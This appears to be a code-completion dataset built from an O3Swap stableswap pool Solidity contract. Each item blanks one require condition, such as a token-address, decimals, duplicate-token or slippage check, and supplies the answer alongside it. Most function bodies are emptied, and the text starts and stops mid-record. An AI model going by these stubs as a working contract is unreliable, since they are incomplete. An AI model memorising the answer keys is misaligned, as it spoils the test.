function withdrawAdminFee(address receiver) external onlyOwner {
}
function rampA(uint256 _futureA, uint256 _futureTime) external onlyOwner {
}
function stopRampA() external onlyOwner {
}
}
| address(_coins[i])!=address(0),"O3SwapPool: token address cannot be zero" | 437,763 | address(_coins[i])!=address(0) |
"O3SwapPool: token decimal exceeds maximum" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "./LPToken.sol";
import "../libs/MathUtils.sol";
import "../access/Ownable.sol";
import "./interfaces/IPool.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract Pool is IPool, Ownable {
using SafeERC20 for IERC20;
using MathUtils for uint256;
uint256 public initialA;
uint256 public futureA;
uint256 public initialATime;
uint256 public futureATime;
uint256 public swapFee;
uint256 public adminFee;
LPToken public lpToken;
IERC20[] public coins;
mapping(address => uint8) private coinIndexes;
uint256[] tokenPrecisionMultipliers;
uint256[] public balances;
event TokenSwap(
address indexed buyer,
uint256 tokensSold,
uint256 tokensBought,
uint128 soldId,
uint128 boughtId
);
event AddLiquidity(
address indexed provider,
uint256[] tokenAmounts,
uint256[] fees,
uint256 invariant,
uint256 lpTokenSupply
);
event RemoveLiquidity(
address indexed provider,
uint256[] tokenAmounts,
uint256 lpTokenSupply
);
event RemoveLiquidityOne(
address indexed provider,
uint256 lpTokenAmount,
uint256 lpTokenSupply,
uint256 boughtId,
uint256 tokensBought
);
event RemoveLiquidityImbalance(
address indexed provider,
uint256[] tokenAmounts,
uint256[] fees,
uint256 invariant,
uint256 lpTokenSupply
);
event NewSwapFee(uint256 newSwapFee);
event NewAdminFee(uint256 newAdminFee);
event RampA(uint256 oldA, uint256 newA, uint256 initialTime, uint256 futureTime);
event StopRampA(uint256 currentA, uint256 time);
struct CalculateWithdrawOneTokenDYInfo {
uint256 d0;
uint256 d1;
uint256 newY;
uint256 feePerToken;
uint256 preciseA;
}
struct AddLiquidityInfo {
uint256 d0;
uint256 d1;
uint256 d2;
uint256 preciseA;
}
struct RemoveLiquidityImbalanceInfo {
uint256 d0;
uint256 d1;
uint256 d2;
uint256 preciseA;
}
uint256 private constant FEE_DENOMINATOR = 10**10;
// feeAmount = amount * fee / FEE_DENOMINATOR, 1% max.
uint256 private constant MAX_SWAP_FEE = 10**8;
// Percentage of swap fee. E.g. 5*1e9 = 50%
uint256 public constant MAX_ADMIN_FEE = 10**10;
uint256 private constant MAX_LOOP_LIMIT = 256;
uint256 public constant A_PRECISION = 100;
uint256 public constant MAX_A = 10**6;
uint256 private constant MAX_A_CHANGE = 10;
uint256 private constant MIN_RAMP_TIME = 1 days;
constructor(
IERC20[] memory _coins,
uint8[] memory decimals,
string memory lpTokenName,
string memory lpTokenSymbol,
uint256 _a,
uint256 _swapFee,
uint256 _adminFee
) {
require(_coins.length >= 2, "O3SwapPool: coins.length out of range(<2)");
require(_coins.length <= 8, "O3SwapPool: coins.length out of range(>8");
require(_coins.length == decimals.length, "O3SwapPool: invalid decimals length");
uint256[] memory precisionMultipliers = new uint256[](decimals.length);
for (uint8 i = 0; i < _coins.length; i++) {
require(address(_coins[i]) != address(0), "O3SwapPool: token address cannot be zero");
require(<FILL_ME>)
if (i > 0) {
require(coinIndexes[address(_coins[i])] == 0 && _coins[0] != _coins[i], "O3SwapPool: duplicated token pooled");
}
precisionMultipliers[i] = 10 ** (18 - uint256(decimals[i]));
coinIndexes[address(_coins[i])] = i;
}
require(_a < MAX_A, "O3SwapPool: _a exceeds maximum");
require(_swapFee <= MAX_SWAP_FEE, "O3SwapPool: _swapFee exceeds maximum");
require(_adminFee <= MAX_ADMIN_FEE, "O3SwapPool: _adminFee exceeds maximum");
coins = _coins;
lpToken = new LPToken(lpTokenName, lpTokenSymbol);
tokenPrecisionMultipliers = precisionMultipliers;
balances = new uint256[](_coins.length);
initialA = _a * A_PRECISION;
futureA = _a * A_PRECISION;
initialATime = 0;
futureATime = 0;
swapFee = _swapFee;
adminFee = _adminFee;
}
modifier ensure(uint256 deadline) {
}
function getTokenIndex(address token) external view returns (uint8) {
}
function getA() external view returns (uint256) {
}
function _getA() internal view returns (uint256) {
}
function _getAPrecise() internal view returns (uint256) {
}
function getVirtualPrice() external view returns (uint256) {
}
function calculateWithdrawOneToken(uint256 tokenAmount, uint8 tokenIndex) external view returns (uint256 amount) {
}
function _calculateWithdrawOneToken(uint256 tokenAmount, uint8 tokenIndex) internal view returns (uint256, uint256) {
}
function _calculateWithdrawOneTokenDY(uint8 tokenIndex, uint256 tokenAmount) internal view returns (uint256, uint256) {
}
function _getYD(uint256 a, uint8 tokenIndex, uint256[] memory xp, uint256 d) internal pure returns (uint256) {
}
function _getD(uint256[] memory xp, uint256 a) internal pure returns (uint256) {
}
function _getD() internal view returns (uint256) {
}
function _xp(uint256[] memory _balances, uint256[] memory _precisionMultipliers) internal pure returns (uint256[] memory) {
}
function _xp(uint256[] memory _balances) internal view returns (uint256[] memory) {
}
function _xp() internal view returns (uint256[] memory) {
}
function _getY(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 x, uint256[] memory xp) internal view returns (uint256) {
}
function calculateSwap(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx) external view returns (uint256 dy) {
}
function _calculateSwap(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx) internal view returns (uint256 dy, uint256 dyFee) {
}
function calculateRemoveLiquidity(uint256 amount) external view returns (uint256[] memory) {
}
function _calculateRemoveLiquidity(uint256 amount) internal view returns (uint256[] memory) {
}
function calculateTokenAmount(uint256[] calldata amounts, bool deposit) external view returns (uint256) {
}
function getAdminBalance(uint256 index) external view returns (uint256) {
}
function _feePerToken() internal view returns (uint256) {
}
function swap(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function addLiquidity(uint256[] memory amounts, uint256 minToMint, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function removeLiquidity(uint256 amount, uint256[] calldata minAmounts, uint256 deadline) external ensure(deadline) returns (uint256[] memory) {
}
function removeLiquidityOneToken(uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function removeLiquidityImbalance(uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function applySwapFee(uint256 newSwapFee) external onlyOwner {
}
function applyAdminFee(uint256 newAdminFee) external onlyOwner {
}
function withdrawAdminFee(address receiver) external onlyOwner {
}
function rampA(uint256 _futureA, uint256 _futureTime) external onlyOwner {
}
function stopRampA() external onlyOwner {
}
}
| decimals[i]<=18,"O3SwapPool: token decimal exceeds maximum" | 437,763 | decimals[i]<=18 |
"O3SwapPool: duplicated token pooled" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "./LPToken.sol";
import "../libs/MathUtils.sol";
import "../access/Ownable.sol";
import "./interfaces/IPool.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract Pool is IPool, Ownable {
using SafeERC20 for IERC20;
using MathUtils for uint256;
uint256 public initialA;
uint256 public futureA;
uint256 public initialATime;
uint256 public futureATime;
uint256 public swapFee;
uint256 public adminFee;
LPToken public lpToken;
IERC20[] public coins;
mapping(address => uint8) private coinIndexes;
uint256[] tokenPrecisionMultipliers;
uint256[] public balances;
event TokenSwap(
address indexed buyer,
uint256 tokensSold,
uint256 tokensBought,
uint128 soldId,
uint128 boughtId
);
event AddLiquidity(
address indexed provider,
uint256[] tokenAmounts,
uint256[] fees,
uint256 invariant,
uint256 lpTokenSupply
);
event RemoveLiquidity(
address indexed provider,
uint256[] tokenAmounts,
uint256 lpTokenSupply
);
event RemoveLiquidityOne(
address indexed provider,
uint256 lpTokenAmount,
uint256 lpTokenSupply,
uint256 boughtId,
uint256 tokensBought
);
event RemoveLiquidityImbalance(
address indexed provider,
uint256[] tokenAmounts,
uint256[] fees,
uint256 invariant,
uint256 lpTokenSupply
);
event NewSwapFee(uint256 newSwapFee);
event NewAdminFee(uint256 newAdminFee);
event RampA(uint256 oldA, uint256 newA, uint256 initialTime, uint256 futureTime);
event StopRampA(uint256 currentA, uint256 time);
struct CalculateWithdrawOneTokenDYInfo {
uint256 d0;
uint256 d1;
uint256 newY;
uint256 feePerToken;
uint256 preciseA;
}
struct AddLiquidityInfo {
uint256 d0;
uint256 d1;
uint256 d2;
uint256 preciseA;
}
struct RemoveLiquidityImbalanceInfo {
uint256 d0;
uint256 d1;
uint256 d2;
uint256 preciseA;
}
uint256 private constant FEE_DENOMINATOR = 10**10;
// feeAmount = amount * fee / FEE_DENOMINATOR, 1% max.
uint256 private constant MAX_SWAP_FEE = 10**8;
// Percentage of swap fee. E.g. 5*1e9 = 50%
uint256 public constant MAX_ADMIN_FEE = 10**10;
uint256 private constant MAX_LOOP_LIMIT = 256;
uint256 public constant A_PRECISION = 100;
uint256 public constant MAX_A = 10**6;
uint256 private constant MAX_A_CHANGE = 10;
uint256 private constant MIN_RAMP_TIME = 1 days;
constructor(
IERC20[] memory _coins,
uint8[] memory decimals,
string memory lpTokenName,
string memory lpTokenSymbol,
uint256 _a,
uint256 _swapFee,
uint256 _adminFee
) {
require(_coins.length >= 2, "O3SwapPool: coins.length out of range(<2)");
require(_coins.length <= 8, "O3SwapPool: coins.length out of range(>8");
require(_coins.length == decimals.length, "O3SwapPool: invalid decimals length");
uint256[] memory precisionMultipliers = new uint256[](decimals.length);
for (uint8 i = 0; i < _coins.length; i++) {
require(address(_coins[i]) != address(0), "O3SwapPool: token address cannot be zero");
require(decimals[i] <= 18, "O3SwapPool: token decimal exceeds maximum");
if (i > 0) {
require(<FILL_ME>)
}
precisionMultipliers[i] = 10 ** (18 - uint256(decimals[i]));
coinIndexes[address(_coins[i])] = i;
}
require(_a < MAX_A, "O3SwapPool: _a exceeds maximum");
require(_swapFee <= MAX_SWAP_FEE, "O3SwapPool: _swapFee exceeds maximum");
require(_adminFee <= MAX_ADMIN_FEE, "O3SwapPool: _adminFee exceeds maximum");
coins = _coins;
lpToken = new LPToken(lpTokenName, lpTokenSymbol);
tokenPrecisionMultipliers = precisionMultipliers;
balances = new uint256[](_coins.length);
initialA = _a * A_PRECISION;
futureA = _a * A_PRECISION;
initialATime = 0;
futureATime = 0;
swapFee = _swapFee;
adminFee = _adminFee;
}
modifier ensure(uint256 deadline) {
}
function getTokenIndex(address token) external view returns (uint8) {
}
function getA() external view returns (uint256) {
}
function _getA() internal view returns (uint256) {
}
function _getAPrecise() internal view returns (uint256) {
}
function getVirtualPrice() external view returns (uint256) {
}
function calculateWithdrawOneToken(uint256 tokenAmount, uint8 tokenIndex) external view returns (uint256 amount) {
}
function _calculateWithdrawOneToken(uint256 tokenAmount, uint8 tokenIndex) internal view returns (uint256, uint256) {
}
function _calculateWithdrawOneTokenDY(uint8 tokenIndex, uint256 tokenAmount) internal view returns (uint256, uint256) {
}
function _getYD(uint256 a, uint8 tokenIndex, uint256[] memory xp, uint256 d) internal pure returns (uint256) {
}
function _getD(uint256[] memory xp, uint256 a) internal pure returns (uint256) {
}
function _getD() internal view returns (uint256) {
}
function _xp(uint256[] memory _balances, uint256[] memory _precisionMultipliers) internal pure returns (uint256[] memory) {
}
function _xp(uint256[] memory _balances) internal view returns (uint256[] memory) {
}
function _xp() internal view returns (uint256[] memory) {
}
function _getY(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 x, uint256[] memory xp) internal view returns (uint256) {
}
function calculateSwap(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx) external view returns (uint256 dy) {
}
function _calculateSwap(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx) internal view returns (uint256 dy, uint256 dyFee) {
}
function calculateRemoveLiquidity(uint256 amount) external view returns (uint256[] memory) {
}
function _calculateRemoveLiquidity(uint256 amount) internal view returns (uint256[] memory) {
}
function calculateTokenAmount(uint256[] calldata amounts, bool deposit) external view returns (uint256) {
}
function getAdminBalance(uint256 index) external view returns (uint256) {
}
function _feePerToken() internal view returns (uint256) {
}
function swap(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function addLiquidity(uint256[] memory amounts, uint256 minToMint, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function removeLiquidity(uint256 amount, uint256[] calldata minAmounts, uint256 deadline) external ensure(deadline) returns (uint256[] memory) {
}
function removeLiquidityOneToken(uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function removeLiquidityImbalance(uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function applySwapFee(uint256 newSwapFee) external onlyOwner {
}
function applyAdminFee(uint256 newAdminFee) external onlyOwner {
}
function withdrawAdminFee(address receiver) external onlyOwner {
}
function rampA(uint256 _futureA, uint256 _futureTime) external onlyOwner {
}
function stopRampA() external onlyOwner {
}
}
| coinIndexes[address(_coins[i])]==0&&_coins[0]!=_coins[i],"O3SwapPool: duplicated token pooled" | 437,763 | coinIndexes[address(_coins[i])]==0&&_coins[0]!=_coins[i] |
"O3SwapPool: TOKEN_NOT_POOLED" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "./LPToken.sol";
import "../libs/MathUtils.sol";
import "../access/Ownable.sol";
import "./interfaces/IPool.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract Pool is IPool, Ownable {
using SafeERC20 for IERC20;
using MathUtils for uint256;
uint256 public initialA;
uint256 public futureA;
uint256 public initialATime;
uint256 public futureATime;
uint256 public swapFee;
uint256 public adminFee;
LPToken public lpToken;
IERC20[] public coins;
mapping(address => uint8) private coinIndexes;
uint256[] tokenPrecisionMultipliers;
uint256[] public balances;
event TokenSwap(
address indexed buyer,
uint256 tokensSold,
uint256 tokensBought,
uint128 soldId,
uint128 boughtId
);
event AddLiquidity(
address indexed provider,
uint256[] tokenAmounts,
uint256[] fees,
uint256 invariant,
uint256 lpTokenSupply
);
event RemoveLiquidity(
address indexed provider,
uint256[] tokenAmounts,
uint256 lpTokenSupply
);
event RemoveLiquidityOne(
address indexed provider,
uint256 lpTokenAmount,
uint256 lpTokenSupply,
uint256 boughtId,
uint256 tokensBought
);
event RemoveLiquidityImbalance(
address indexed provider,
uint256[] tokenAmounts,
uint256[] fees,
uint256 invariant,
uint256 lpTokenSupply
);
event NewSwapFee(uint256 newSwapFee);
event NewAdminFee(uint256 newAdminFee);
event RampA(uint256 oldA, uint256 newA, uint256 initialTime, uint256 futureTime);
event StopRampA(uint256 currentA, uint256 time);
struct CalculateWithdrawOneTokenDYInfo {
uint256 d0;
uint256 d1;
uint256 newY;
uint256 feePerToken;
uint256 preciseA;
}
struct AddLiquidityInfo {
uint256 d0;
uint256 d1;
uint256 d2;
uint256 preciseA;
}
struct RemoveLiquidityImbalanceInfo {
uint256 d0;
uint256 d1;
uint256 d2;
uint256 preciseA;
}
uint256 private constant FEE_DENOMINATOR = 10**10;
// feeAmount = amount * fee / FEE_DENOMINATOR, 1% max.
uint256 private constant MAX_SWAP_FEE = 10**8;
// Percentage of swap fee. E.g. 5*1e9 = 50%
uint256 public constant MAX_ADMIN_FEE = 10**10;
uint256 private constant MAX_LOOP_LIMIT = 256;
uint256 public constant A_PRECISION = 100;
uint256 public constant MAX_A = 10**6;
uint256 private constant MAX_A_CHANGE = 10;
uint256 private constant MIN_RAMP_TIME = 1 days;
constructor(
IERC20[] memory _coins,
uint8[] memory decimals,
string memory lpTokenName,
string memory lpTokenSymbol,
uint256 _a,
uint256 _swapFee,
uint256 _adminFee
) {
}
modifier ensure(uint256 deadline) {
}
function getTokenIndex(address token) external view returns (uint8) {
uint8 index = coinIndexes[token];
require(<FILL_ME>)
return index;
}
function getA() external view returns (uint256) {
}
function _getA() internal view returns (uint256) {
}
function _getAPrecise() internal view returns (uint256) {
}
function getVirtualPrice() external view returns (uint256) {
}
function calculateWithdrawOneToken(uint256 tokenAmount, uint8 tokenIndex) external view returns (uint256 amount) {
}
function _calculateWithdrawOneToken(uint256 tokenAmount, uint8 tokenIndex) internal view returns (uint256, uint256) {
}
function _calculateWithdrawOneTokenDY(uint8 tokenIndex, uint256 tokenAmount) internal view returns (uint256, uint256) {
}
function _getYD(uint256 a, uint8 tokenIndex, uint256[] memory xp, uint256 d) internal pure returns (uint256) {
}
function _getD(uint256[] memory xp, uint256 a) internal pure returns (uint256) {
}
function _getD() internal view returns (uint256) {
}
function _xp(uint256[] memory _balances, uint256[] memory _precisionMultipliers) internal pure returns (uint256[] memory) {
}
function _xp(uint256[] memory _balances) internal view returns (uint256[] memory) {
}
function _xp() internal view returns (uint256[] memory) {
}
function _getY(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 x, uint256[] memory xp) internal view returns (uint256) {
}
function calculateSwap(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx) external view returns (uint256 dy) {
}
function _calculateSwap(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx) internal view returns (uint256 dy, uint256 dyFee) {
}
function calculateRemoveLiquidity(uint256 amount) external view returns (uint256[] memory) {
}
function _calculateRemoveLiquidity(uint256 amount) internal view returns (uint256[] memory) {
}
function calculateTokenAmount(uint256[] calldata amounts, bool deposit) external view returns (uint256) {
}
function getAdminBalance(uint256 index) external view returns (uint256) {
}
function _feePerToken() internal view returns (uint256) {
}
function swap(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function addLiquidity(uint256[] memory amounts, uint256 minToMint, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function removeLiquidity(uint256 amount, uint256[] calldata minAmounts, uint256 deadline) external ensure(deadline) returns (uint256[] memory) {
}
function removeLiquidityOneToken(uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function removeLiquidityImbalance(uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function applySwapFee(uint256 newSwapFee) external onlyOwner {
}
function applyAdminFee(uint256 newAdminFee) external onlyOwner {
}
function withdrawAdminFee(address receiver) external onlyOwner {
}
function rampA(uint256 _futureA, uint256 _futureTime) external onlyOwner {
}
function stopRampA() external onlyOwner {
}
}
| address(coins[index])==token,"O3SwapPool: TOKEN_NOT_POOLED" | 437,763 | address(coins[index])==token |
"O3SwapPool: INSUFFICIENT_OUTPUT_AMOUNT" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "./LPToken.sol";
import "../libs/MathUtils.sol";
import "../access/Ownable.sol";
import "./interfaces/IPool.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract Pool is IPool, Ownable {
using SafeERC20 for IERC20;
using MathUtils for uint256;
uint256 public initialA;
uint256 public futureA;
uint256 public initialATime;
uint256 public futureATime;
uint256 public swapFee;
uint256 public adminFee;
LPToken public lpToken;
IERC20[] public coins;
mapping(address => uint8) private coinIndexes;
uint256[] tokenPrecisionMultipliers;
uint256[] public balances;
event TokenSwap(
address indexed buyer,
uint256 tokensSold,
uint256 tokensBought,
uint128 soldId,
uint128 boughtId
);
event AddLiquidity(
address indexed provider,
uint256[] tokenAmounts,
uint256[] fees,
uint256 invariant,
uint256 lpTokenSupply
);
event RemoveLiquidity(
address indexed provider,
uint256[] tokenAmounts,
uint256 lpTokenSupply
);
event RemoveLiquidityOne(
address indexed provider,
uint256 lpTokenAmount,
uint256 lpTokenSupply,
uint256 boughtId,
uint256 tokensBought
);
event RemoveLiquidityImbalance(
address indexed provider,
uint256[] tokenAmounts,
uint256[] fees,
uint256 invariant,
uint256 lpTokenSupply
);
event NewSwapFee(uint256 newSwapFee);
event NewAdminFee(uint256 newAdminFee);
event RampA(uint256 oldA, uint256 newA, uint256 initialTime, uint256 futureTime);
event StopRampA(uint256 currentA, uint256 time);
struct CalculateWithdrawOneTokenDYInfo {
uint256 d0;
uint256 d1;
uint256 newY;
uint256 feePerToken;
uint256 preciseA;
}
struct AddLiquidityInfo {
uint256 d0;
uint256 d1;
uint256 d2;
uint256 preciseA;
}
struct RemoveLiquidityImbalanceInfo {
uint256 d0;
uint256 d1;
uint256 d2;
uint256 preciseA;
}
uint256 private constant FEE_DENOMINATOR = 10**10;
// feeAmount = amount * fee / FEE_DENOMINATOR, 1% max.
uint256 private constant MAX_SWAP_FEE = 10**8;
// Percentage of swap fee. E.g. 5*1e9 = 50%
uint256 public constant MAX_ADMIN_FEE = 10**10;
uint256 private constant MAX_LOOP_LIMIT = 256;
uint256 public constant A_PRECISION = 100;
uint256 public constant MAX_A = 10**6;
uint256 private constant MAX_A_CHANGE = 10;
uint256 private constant MIN_RAMP_TIME = 1 days;
constructor(
IERC20[] memory _coins,
uint8[] memory decimals,
string memory lpTokenName,
string memory lpTokenSymbol,
uint256 _a,
uint256 _swapFee,
uint256 _adminFee
) {
}
modifier ensure(uint256 deadline) {
}
function getTokenIndex(address token) external view returns (uint8) {
}
function getA() external view returns (uint256) {
}
function _getA() internal view returns (uint256) {
}
function _getAPrecise() internal view returns (uint256) {
}
function getVirtualPrice() external view returns (uint256) {
}
function calculateWithdrawOneToken(uint256 tokenAmount, uint8 tokenIndex) external view returns (uint256 amount) {
}
function _calculateWithdrawOneToken(uint256 tokenAmount, uint8 tokenIndex) internal view returns (uint256, uint256) {
}
function _calculateWithdrawOneTokenDY(uint8 tokenIndex, uint256 tokenAmount) internal view returns (uint256, uint256) {
}
function _getYD(uint256 a, uint8 tokenIndex, uint256[] memory xp, uint256 d) internal pure returns (uint256) {
}
function _getD(uint256[] memory xp, uint256 a) internal pure returns (uint256) {
}
function _getD() internal view returns (uint256) {
}
function _xp(uint256[] memory _balances, uint256[] memory _precisionMultipliers) internal pure returns (uint256[] memory) {
}
function _xp(uint256[] memory _balances) internal view returns (uint256[] memory) {
}
function _xp() internal view returns (uint256[] memory) {
}
function _getY(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 x, uint256[] memory xp) internal view returns (uint256) {
}
function calculateSwap(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx) external view returns (uint256 dy) {
}
function _calculateSwap(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx) internal view returns (uint256 dy, uint256 dyFee) {
}
function calculateRemoveLiquidity(uint256 amount) external view returns (uint256[] memory) {
}
function _calculateRemoveLiquidity(uint256 amount) internal view returns (uint256[] memory) {
}
function calculateTokenAmount(uint256[] calldata amounts, bool deposit) external view returns (uint256) {
}
function getAdminBalance(uint256 index) external view returns (uint256) {
}
function _feePerToken() internal view returns (uint256) {
}
function swap(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function addLiquidity(uint256[] memory amounts, uint256 minToMint, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function removeLiquidity(uint256 amount, uint256[] calldata minAmounts, uint256 deadline) external ensure(deadline) returns (uint256[] memory) {
require(amount <= lpToken.balanceOf(msg.sender), "O3SwapPool: INSUFFICIENT_LP_AMOUNT");
require(minAmounts.length == coins.length, "O3SwapPool: AMOUNTS_COINS_LENGTH_MISMATCH");
uint256[] memory amounts = _calculateRemoveLiquidity(amount);
for (uint256 i = 0; i < amounts.length; i++) {
require(<FILL_ME>)
balances[i] -= amounts[i];
coins[i].safeTransfer(msg.sender, amounts[i]);
}
lpToken.burnFrom(msg.sender, amount);
emit RemoveLiquidity(msg.sender, amounts, lpToken.totalSupply());
return amounts;
}
function removeLiquidityOneToken(uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function removeLiquidityImbalance(uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function applySwapFee(uint256 newSwapFee) external onlyOwner {
}
function applyAdminFee(uint256 newAdminFee) external onlyOwner {
}
function withdrawAdminFee(address receiver) external onlyOwner {
}
function rampA(uint256 _futureA, uint256 _futureTime) external onlyOwner {
}
function stopRampA() external onlyOwner {
}
}
| amounts[i]>=minAmounts[i],"O3SwapPool: INSUFFICIENT_OUTPUT_AMOUNT" | 437,763 | amounts[i]>=minAmounts[i] |
"O3SwapPool: futureA too small" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.0;
import "./LPToken.sol";
import "../libs/MathUtils.sol";
import "../access/Ownable.sol";
import "./interfaces/IPool.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract Pool is IPool, Ownable {
using SafeERC20 for IERC20;
using MathUtils for uint256;
uint256 public initialA;
uint256 public futureA;
uint256 public initialATime;
uint256 public futureATime;
uint256 public swapFee;
uint256 public adminFee;
LPToken public lpToken;
IERC20[] public coins;
mapping(address => uint8) private coinIndexes;
uint256[] tokenPrecisionMultipliers;
uint256[] public balances;
event TokenSwap(
address indexed buyer,
uint256 tokensSold,
uint256 tokensBought,
uint128 soldId,
uint128 boughtId
);
event AddLiquidity(
address indexed provider,
uint256[] tokenAmounts,
uint256[] fees,
uint256 invariant,
uint256 lpTokenSupply
);
event RemoveLiquidity(
address indexed provider,
uint256[] tokenAmounts,
uint256 lpTokenSupply
);
event RemoveLiquidityOne(
address indexed provider,
uint256 lpTokenAmount,
uint256 lpTokenSupply,
uint256 boughtId,
uint256 tokensBought
);
event RemoveLiquidityImbalance(
address indexed provider,
uint256[] tokenAmounts,
uint256[] fees,
uint256 invariant,
uint256 lpTokenSupply
);
event NewSwapFee(uint256 newSwapFee);
event NewAdminFee(uint256 newAdminFee);
event RampA(uint256 oldA, uint256 newA, uint256 initialTime, uint256 futureTime);
event StopRampA(uint256 currentA, uint256 time);
struct CalculateWithdrawOneTokenDYInfo {
uint256 d0;
uint256 d1;
uint256 newY;
uint256 feePerToken;
uint256 preciseA;
}
struct AddLiquidityInfo {
uint256 d0;
uint256 d1;
uint256 d2;
uint256 preciseA;
}
struct RemoveLiquidityImbalanceInfo {
uint256 d0;
uint256 d1;
uint256 d2;
uint256 preciseA;
}
uint256 private constant FEE_DENOMINATOR = 10**10;
// feeAmount = amount * fee / FEE_DENOMINATOR, 1% max.
uint256 private constant MAX_SWAP_FEE = 10**8;
// Percentage of swap fee. E.g. 5*1e9 = 50%
uint256 public constant MAX_ADMIN_FEE = 10**10;
uint256 private constant MAX_LOOP_LIMIT = 256;
uint256 public constant A_PRECISION = 100;
uint256 public constant MAX_A = 10**6;
uint256 private constant MAX_A_CHANGE = 10;
uint256 private constant MIN_RAMP_TIME = 1 days;
constructor(
IERC20[] memory _coins,
uint8[] memory decimals,
string memory lpTokenName,
string memory lpTokenSymbol,
uint256 _a,
uint256 _swapFee,
uint256 _adminFee
) {
}
modifier ensure(uint256 deadline) {
}
function getTokenIndex(address token) external view returns (uint8) {
}
function getA() external view returns (uint256) {
}
function _getA() internal view returns (uint256) {
}
function _getAPrecise() internal view returns (uint256) {
}
function getVirtualPrice() external view returns (uint256) {
}
function calculateWithdrawOneToken(uint256 tokenAmount, uint8 tokenIndex) external view returns (uint256 amount) {
}
function _calculateWithdrawOneToken(uint256 tokenAmount, uint8 tokenIndex) internal view returns (uint256, uint256) {
}
function _calculateWithdrawOneTokenDY(uint8 tokenIndex, uint256 tokenAmount) internal view returns (uint256, uint256) {
}
function _getYD(uint256 a, uint8 tokenIndex, uint256[] memory xp, uint256 d) internal pure returns (uint256) {
}
function _getD(uint256[] memory xp, uint256 a) internal pure returns (uint256) {
}
function _getD() internal view returns (uint256) {
}
function _xp(uint256[] memory _balances, uint256[] memory _precisionMultipliers) internal pure returns (uint256[] memory) {
}
function _xp(uint256[] memory _balances) internal view returns (uint256[] memory) {
}
function _xp() internal view returns (uint256[] memory) {
}
function _getY(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 x, uint256[] memory xp) internal view returns (uint256) {
}
function calculateSwap(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx) external view returns (uint256 dy) {
}
function _calculateSwap(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx) internal view returns (uint256 dy, uint256 dyFee) {
}
function calculateRemoveLiquidity(uint256 amount) external view returns (uint256[] memory) {
}
function _calculateRemoveLiquidity(uint256 amount) internal view returns (uint256[] memory) {
}
function calculateTokenAmount(uint256[] calldata amounts, bool deposit) external view returns (uint256) {
}
function getAdminBalance(uint256 index) external view returns (uint256) {
}
function _feePerToken() internal view returns (uint256) {
}
function swap(uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function addLiquidity(uint256[] memory amounts, uint256 minToMint, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function removeLiquidity(uint256 amount, uint256[] calldata minAmounts, uint256 deadline) external ensure(deadline) returns (uint256[] memory) {
}
function removeLiquidityOneToken(uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function removeLiquidityImbalance(uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline) external ensure(deadline) returns (uint256) {
}
function applySwapFee(uint256 newSwapFee) external onlyOwner {
}
function applyAdminFee(uint256 newAdminFee) external onlyOwner {
}
function withdrawAdminFee(address receiver) external onlyOwner {
}
function rampA(uint256 _futureA, uint256 _futureTime) external onlyOwner {
require(block.timestamp >= initialATime + MIN_RAMP_TIME, "O3SwapPool: at least 1 day before new ramp");
